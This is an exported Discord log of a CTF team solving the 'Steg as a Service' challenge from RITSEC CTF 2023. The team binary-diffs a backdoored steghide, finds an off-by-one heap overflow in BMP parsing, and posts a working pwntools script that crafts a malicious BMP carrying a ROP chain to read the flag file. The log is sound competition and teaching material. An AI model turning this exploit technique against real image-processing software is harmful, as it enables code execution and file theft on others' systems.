Guild icon
Project Sekai
πŸ”’ RITSEC CTF 2023 / βœ…-bin-pwn-steg-as-a-service
Avatar
Steg as a Service - 500 points
Category: Bin-Pwn Description: <p>Welcome to the cyberlabs, where we perform threat hunting on various threat actors to track their activities. Our prized utility of choice is a service that we provide, called Steg as a service. <s>Since all the 1337 threat actors use steghide to exfiltrate data,</s> This service allows anyone to upload a file to see if steghide can find any hidden information inside it. <br><br> Unfortunately, we've recently discovered that we got our copies of steghide from a shady source, and our team has discovered and patched a sneaky backdoor inside it!!! However, since the backdoored version of steghide doesn't trigger any antivirus detections, we've been having trouble convincing our managers to change the version of steghide into a secure one. Can you try exploiting our shady copy of steghide so that we can convince our managers to update the binary? <br><br> We've spun up a copy of our Steg service at <a href="http://host1.metaproblems.com:5830">http://host1.metaproblems.com:5830</a> for you to target. If you want a local setup, this <a href="https://metaproblems.com/769829afb2a31c32e153cc53484f346a/steg.zip" target="_blank">docker container</a> should do the trick. Unfortunately, our team member who discovered the backdoor is currently on PTO, so I can't provide you with the exact details on what the backdoor was. However, I could give you our <a href="https://metaproblems.com/769829afb2a31c32e153cc53484f346a/steghide-patched" target="_blank">patched steghide</a> if it helps. <br><br><b>Note:</b> Although this is hosted as a web service, the intended vulnerability is within the steghide binary, not the web service.</p> NOTE: This flag's format is MetaCTF{} Files: No files. Tags: No tags.
Sutx pinned a message to this channel. 03/31/2023 9:02 AM
Avatar
@crazyman ai wants to collaborate 🀝
Avatar
@IceCreamMan wants to collaborate 🀝
Avatar
@hfz wants to collaborate 🀝
Avatar
idk why steghide-patched and the one inside ZIP file are different
Avatar
you can set up the docker with the unpatched steg then use the patched steg provided (edited)
21:35
"the intended vulnerability is within the steghide binary" that is the one inside the zip
Avatar
Avatar
hfz
idk why steghide-patched and the one inside ZIP file are different
because its a patched version which has backdoor fixed
21:35
zip one has vuln
21:42
so the provided steghide no longer has the backdoor? I see
21:42
I thought steghide-patched contains the backdoor
21:42
makes sense now
21:43
[724, 725, 726, 727, 728, 729, 730, 731, 732, 733, 734, 735, 736, 737, 738, 739, 740, 741, 742, 743, 126568] offsets where there's a difference between the 2 (edited)
Avatar
haha i dk how to use bindiff
22:06
the diff have no code
Avatar
IDA has bindiff iirc
22:31
Hi everyone, I would like to share some basic patch diffing in this post. why patch diffing is important because it helps you to analyze the different between two binary much faster. As we know tha…
22:31
but i never used it
Avatar
@TheBadGod wants to collaborate 🀝
Avatar
oooh the -patched does not contain the backdoor i see
Avatar
Avatar
hfz
I thought steghide-patched contains the backdoor
yeah me dumdum as well
23:29
diff is just that one does < height while the other does <= height, possibly leading to an out of bounds (the <= is the unpatched version)
23:29
this is inside BmpFile::readdata
23:36
so good news, it seems the vector operator[] does not have any indexing checks the vector gets resized to (height+1)*(linelength+1), so with our index of linelength-1 + height * linelength == (height + 1) * linelength - 1 we'd be out of bounds by linelength-1, so yeah we basically have an oob write on their heap
23:40
no wait, my math was off, we don't have an oob because height+1
Avatar
the only diff is on ≀ height but vector size is height+1?
Avatar
yeah that is the 126568 diff
23:49
the other differing bytes are just the build id afaict
23:50
steghide-patched: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1ced5158e98a77e68b9f8f93f858b135bdd3bae4, for GNU/Linux 3.2.0, not stripped steghide: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8512efbed58c06cfa95d3af1066f2389f9a5e9ec, for GNU/Linux 3.2.0, not stripped
Avatar
ah true
23:50
and they are consecutive as well
23:50
matched
Avatar
and yes, we resize to height+1 and then go up to including height to index
23:52
and everything apart of the <= is the same
Avatar
peepoo it looks safe with equality sign to me
Avatar
i have an idea, but if that works in the non-patched version it would also work in the patched version
23:53
nvm, won't work
23:54
the only "unsafe" thing it does is read after the end of the file
23:54
which i don't really know if we can weaponize
23:55
yeah so its reading out of bound by 1 line?
Avatar
yes it should
23:55
also there's a counter for number of read bytes which is incremented for every byte, so that is too big as well
23:55
will see if that is used somewhere
23:56
huh
23:57
so if height=1 and width=16 this would alloca 16 bytes, but numread would be 2*16
00:01
is it exploitable for memcpy out of bound? like buffer overflow? also v3 size is height*linelength instead of h+1*l right (edited)
Avatar
yeah it's exploitable
00:18
lol
Avatar
not sure if i understand correctly, cuz its a web host so you somehow use that extra data to read flag in host?
Avatar
from pwn import * bmp = b"" bmp += b"BM" # windows format bmp += p32(0x1a + 256*3 + 2*16) # size of the file bmp += p16(0) bmp += p16(0) bmp += p32(0x1a+256*3) # start of pixel data bmp += p32(12) bmp += p16(128) # width bmp += p16(1) # height bmp += p16(1) # planes bmp += p16(8) # bpp # palette, idk bmp += b"aaa"*256 bmp += b"a"*(128+56) # TODO ropchain bmp += ropchain with open("exploit.bmp", "wb") as f: f.write(bmp)
Avatar
Avatar
sahuang
not sure if i understand correctly, cuz its a web host so you somehow use that extra data to read flag in host?
we can just spawn a shell or sth, I mean it's rop we can anything
00:20
anyway gonna eat breakfast first if you want to try
Avatar
peepoo idk pwn and need sleep but yeah i kinda know the logics we had now
00:21
i think @IceCreamMan might can πŸ˜‚
Avatar
Avatar
TheBadGod
huh
nice how did you diff this out?
Avatar
opened non patched and patched in ida and compared lol
Avatar
so diff the patched and the one in the zip?
Avatar
Avatar
hfz
[724, 725, 726, 727, 728, 729, 730, 731, 732, 733, 734, 735, 736, 737, 738, 739, 740, 741, 742, 743, 126568] offsets where there's a difference between the 2 (edited)
since there were only these indices different
Avatar
Avatar
IceCreamMan
so diff the patched and the one in the zip?
yep
Avatar
cool
00:28
you use bindiff?
00:28
that getheader thing didnt appear in my diff hmm
00:28
was just wondering what went wrong in my approach
Avatar
getheader is thr same
00:29
but numread is bigger than intended
00:29
so we have a memcpy with too much data
Avatar
oh yeah seems easy
00:42
i can continue from here if @TheBadGod is busy
Avatar
you just need to copy the flag file to where the output file should be
00:42
but no interactive
00:46
but i should be back in 10 minutes or so
00:51
so am back
00:53
well we just need to copy the file to the outfile and we'll win, but idk how well it works with just ropping, because we only have fopen
00:59
in the global Args variable we have a few std::strings (we mainly control the password in there, but the outfile might also be interesting)
Avatar
IceCreamMan 04/01/2023 1:02 AM
hmm, is it possible to use the BinaryIO functions?
01:02
for open read write
01:02
Then we may be able to move the file
Avatar
yeah sure, problem is that we need 2 open files, so we somehow need to juggle those around
01:09
nvm we can just open the flag and read all in a temp buffer at a fixed address and then open the second file and just write the buffer in that
Avatar
IceCreamMan 04/01/2023 1:23 AM
i am like looking for wrapper functions, looks like we need to call BinaryIO::BinaryIO
01:23
BmpFile *__fastcall CvrStgFile::readFile(BinaryIO *a1)
Avatar
already halfway there
01:23
as in I can read
Avatar
IceCreamMan 04/01/2023 1:24 AM
haha sry i am slow 😒
01:24
are u using the binary IO functions?
Avatar
ye
Avatar
Avatar
TheBadGod
you just need to copy the flag file to where the output file should be
IceCreamMan 04/01/2023 1:31 AM
how do you know whats the outfile name?
Avatar
we have an std::string at 0x48a8f0
Avatar
IceCreamMan 04/01/2023 1:31 AM
ohh
01:31
wow ok
01:32
cool that should do it
Avatar
Avatar
TheBadGod
used /ctf submit
βœ… Well done, challenge solved!
Avatar
MetaCTF{St3gh1d3_15_re4lly_tru3ly_3v3rywhere_17_s33m5}
Avatar
IceCreamMan 04/01/2023 1:35 AM
πŸ”₯
Avatar
from pwn import * bmp = b"" bmp += b"BM" # windows format bmp += p32(0x1a + 256*3 + 2*16) # size of the file bmp += p16(0) bmp += p16(0) bmp += p32(0x1a+256*3) # start of pixel data RET = p64(0x42CD71) POP_RDI = p64(0x0000000000450e8b) POP_RSI = p64(0x0000000000417f3e) POP_RDX = p64(0x000000000042cd0c) ropchain = b"" BINIO_ADDR = p64(0x48AB00) ropchain += POP_RDI + BINIO_ADDR # make a new BinaryIO at this address ropchain += POP_RSI + p64(0x48a968) # passphrase string as input file ropchain += POP_RDX + p64(0) # read mode ropchain += RET ropchain += p64(0x416FA2) # BinaryIO::BinaryIO ropchain += POP_RDI + p64(0x48A9C8) # make new string here ropchain += POP_RSI + BINIO_ADDR # use flag.txt BinaryIO ropchain += POP_RDX + p64(55) # flag length ropchain += p64(0x418146) # BinaryIO::readstring ropchain += POP_RDI + BINIO_ADDR # make a new BinaryIO at this address ropchain += POP_RSI + p64(0x48a8f0) # extract file as... extract file ropchain += POP_RDX + p64(1) # write mode ropchain += p64(0x416FA2) # BinaryIO::BinaryIO ropchain += POP_RDI + BINIO_ADDR # use outfile BinaryIO ropchain += POP_RSI + p64(0x48A9C8) # use new string ropchain += p64(0x418CC8) # BinaryIO::writestring ropchain += POP_RDI + p64(0) ropchain += RET ropchain += p64(0x404610) ropchain += p64(0xdeadbeef) ropchain += p64(0xdeadbeef) num_of_gadgets = (len(ropchain)+7) // 8 W = (num_of_gadgets + 8) // 2 bmp += p32(12) bmp += p16(W*16) # width bmp += p16(1) # height bmp += p16(1) # planes bmp += p16(8) # bpp # palette, idk bmp += b"aaa"*256 bmp += b"a"*((W*16)+56) bmp += ropchain with open("exploit.bmp", "wb") as f: f.write(bmp)
Avatar
Avatar
TheBadGod
diff is just that one does < height while the other does <= height, possibly leading to an out of bounds (the <= is the unpatched version)
IceCreamMan 04/01/2023 1:57 AM
are you using ida bindiff to spot these diffs?
01:58
i have no idea why mine doesnt seem to show
Avatar
Avatar
IceCreamMan
are you using ida bindiff to spot these diffs?
no
02:00
i used the offsets and compared the functions in two separate instances like i already said before
Avatar
IceCreamMan 04/01/2023 2:04 AM
oh ok
Avatar
damn @TheBadGod gj
Exported 106 message(s)